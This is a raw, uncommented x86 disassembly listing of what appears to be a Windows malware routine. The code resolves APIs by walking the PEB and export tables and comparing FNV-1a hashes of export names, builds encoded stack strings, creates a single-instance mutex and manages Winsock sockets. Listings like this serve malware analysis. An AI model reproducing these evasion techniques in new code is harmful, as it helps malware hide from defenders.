mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461e99
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461e99
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461e92
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461e75
cmp esi, 0x71948ca4
je 0x461e9d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461e60
mov eax, dword [eax]
jmp 0x461e37
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461f44
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461f44
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461f3d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461f20
cmp esi, 0x71948ca4
je 0x461f48
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461f06
mov eax, dword [eax]
jmp 0x461ee0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461fe9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461fe9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461fe2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461fc5
cmp esi, 0x71948ca4
je 0x461fed
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461fb0
mov eax, dword [eax]
jmp 0x461f85
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x462084
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x462084
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46207d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x462060
cmp esi, 0x71948ca4
je 0x462088
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x462046
mov eax, dword [eax]
jmp 0x462020
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x462119
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x462119
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x462112
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4620f5
cmp esi, 0xfaba0065
je 0x46211d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4620e0
mov eax, dword [eax]
jmp 0x4620b7
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4621a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4621a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4621a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x462185
cmp esi, 0xfaba0065
je 0x4621ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x462170
mov eax, dword [eax]
jmp 0x462147
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x462244
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x462244
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46223d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x462220
cmp esi, 0xfaba0065
je 0x462248
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x462206
mov eax, dword [eax]
jmp 0x4621e0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4622d4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4622d4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4622cd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4622b0
cmp esi, 0xfaba0065
je 0x4622d8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x462298
mov eax, dword [eax]
jmp 0x462272
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x462364
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x462364
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46235d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x462340
cmp esi, 0xfaba0065
je 0x462368
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x462328
mov eax, dword [eax]
jmp 0x462302
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x74]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4623f4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4623f4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4623ed
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4623d0
cmp esi, 0xfaba0065
je 0x4623f8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4623b8
mov eax, dword [eax]
jmp 0x462392
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0xba]
mov dword [ebp - 0xba], 0xeef4e6b5
mov word [ebp - 0xb6], 0x100
call fcn.00463700
lea ecx, [ebp - 0x87]
mov word [ebp - 0x87], 0xc4
mov byte [ebp - 0x85], 1
call fcn.004638b0
lea eax, [ebp - 0x87]
push 0x534ae4
push eax
lea edx, [ebp - 0x228]
lea ecx, [ebp - 0x4c8]
call fcn.0046a2c0
add esp, 4
lea ecx, [ebp - 0x4b0]
mov edx, eax
call fcn.0046a4e0
lea ecx, [ebp - 0xba]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462490
sub ecx, esi
lea eax, [ebp - 0xba]
push ecx
push eax
mov ecx, edx
call fcn.00468ea0
push eax
lea ecx, [ebp - 0x31c]
call fcn.004026c0
lea ecx, [ebp - 0x4b0]
call fcn.00402670
lea ecx, [ebp - 0x4c8]
call fcn.00402670
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0xeef4e6b5
mov word [ebp - 0x34], 0x100
call fcn.00463700
mov edx, 0x17
lea ecx, [ebp - 0x4f8]
call fcn.0040c7d0
push eax
lea edx, [ebp - 0x818]
lea ecx, [ebp - 0x4e0]
call fcn.0046a3e0
lea ecx, [ebp - 0x38]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462510
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00468ea0
push eax
lea ecx, [ebp - 0x3b4]
call fcn.004026c0
lea ecx, [ebp - 0x4e0]
call fcn.00402670
lea ecx, [ebp - 0x4f8]
call fcn.00402670
mov ecx, 0x5371c0
call fcn.004027b0
lea ecx, [ebp - 0x3b4]
mov ebx, eax
call fcn.004027b0
sub esp, 0x18
mov esi, eax
mov edi, esp
mov ecx, edi
push dword [ebp - 0x10]
call fcn.00402850
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x462574
sub ecx, edx
push ecx
push esi
mov ecx, edi
call fcn.00402870
sub esp, 0x18
mov ecx, esp
push 0x534afc
call fcn.00466580
mov ecx, ebx
call fcn.00407260
add esp, 0x18
lea eax, [ebp - 0x31c]
mov ecx, esp
push eax
call fcn.00466580
sub esp, 0x18
lea eax, [ebp - 0x3b4]
mov ecx, esp
push eax
call fcn.00466580
call fcn.0041fac0
add esp, 0x30
cmp byte [0x536ed3], 0
je 0x462659
cmp byte [ebp - 0x15], 0
jne 0x462659
sub esp, 0x10
mov ecx, esp
push 0x537188
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537068
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537130
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537150
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537140
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537088
call fcn.00464080
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.00466580
call fcn.0041a4c0
add esp, 0x78
test al, al
je 0x462659
sub esp, 0x18
lea eax, [ebp - 0x24c]
mov ecx, esp
push eax
call fcn.00466580
sub esp, 0x10
mov ecx, esp
push 0x537188
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537068
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537130
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537150
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537140
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537088
call fcn.00464080
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.00466580
call fcn.004453d0
add esp, 0x90
lea ecx, [ebp - 0x3b4]
call fcn.00402670
lea ecx, [ebp - 0x31c]
call fcn.00402670
jmp 0x46278e
cmp byte [0x536ed3], 0
je 0x46278e
cmp byte [ebp - 0x15], 0
jne 0x46278e
sub esp, 0x10
mov ecx, esp
push 0x537188
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537068
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537130
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537150
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537140
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537088
call fcn.00464080
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.00466580
call fcn.0041a4c0
add esp, 0x78
test al, al
je 0x46278e
call fcn.00416750
lea ecx, [ebp - 0x2d4]
call fcn.00402670
lea ecx, [ebp - 0x2ec]
call fcn.00402670
lea ecx, [ebp - 0x304]
call fcn.00402670
lea ecx, [ebp - 0x414]
call fcn.00462b30
lea ecx, [ebp - 0x41c]
call fcn.00462b90
lea ecx, [ebp - 0x264]
call fcn.00402670
lea ecx, [ebp - 0x27c]
call fcn.00402670
push str.ret34634734g_dfyh_y_rtdyrtyrty
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x536ed3], 0
je 0x46298c
cmp byte [ebp - 0x15], 0
je 0x46298c
sub esp, 0x10
mov ecx, esp
push 0x537188
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537068
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537130
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537150
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537140
call fcn.00464080
sub esp, 0x10
mov ecx, esp
push 0x537088
call fcn.00464080
sub esp, 0x18
lea eax, [ebp - 0x228]
mov ecx, esp
push eax
call fcn.00466580
call fcn.0041a4c0
add esp, 0x78
test al, al
je 0x46298c
push str.1114
lea ecx, [ebp - 0x1e9]
mov dword [ebp - 0x1e9], 0xfdf4f0e8
mov dword [ebp - 0x1e5], 0xcbcdf3f4
mov dword [ebp - 0x1e1], 0xc8e4c1c7
mov word [ebp - 0x1dd], 0xc3
mov byte [ebp - 0x1db], 1
call fcn.0040a750
mov edx, eax
lea ecx, [ebp - 0x510]
call fcn.0046a380
add esp, 4
mov ecx, eax
call fcn.004027b0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x510]
call fcn.00402670
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4629cb
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
sub esp, 0x18
mov dword [ebp - 0x18e], 0xddd3cad3
lea ecx, [ebp - 0x18e]
mov dword [ebp - 0x18a], 0xcecdc4b1
mov word [ebp - 0x186], 0x100
mov esi, esp
call fcn.0040eeb0
push eax
mov ecx, esi
call fcn.00402710
call fcn.0041f4f0
mov ecx, dword [0x53719c]
mov eax, 0x2aaaaaab
sub ecx, dword [0x537198]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x462983
nop dword [eax]
push 0x64
call ebx
mov ecx, dword [0x53719c]
mov eax, 0x2aaaaaab
sub ecx, dword [0x537198]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x462960
mov byte [0x536eb1], 1
jmp 0x462992
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call ebx
push 2
push dword [0x534aac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x534aac]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x536ed3], 0
je 0x4629cb
cmp byte [ebp - 0x15], 0
je 0x4629cb
push 0x3e8
call ebx
jmp 0x4629c2
lea ecx, [ebp - 0x24c]
xor esi, esi
call fcn.00402670
lea ecx, [ebp - 0x3cc]
call fcn.00402670
lea ecx, [ebp - 0x228]
call fcn.00402670
mov ecx, dword [ebp - 0x1f0]
test ecx, ecx
je 0x4629fd
call fcn.004035a0
lea ecx, [ebp - 0x400]
call fcn.00402670
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10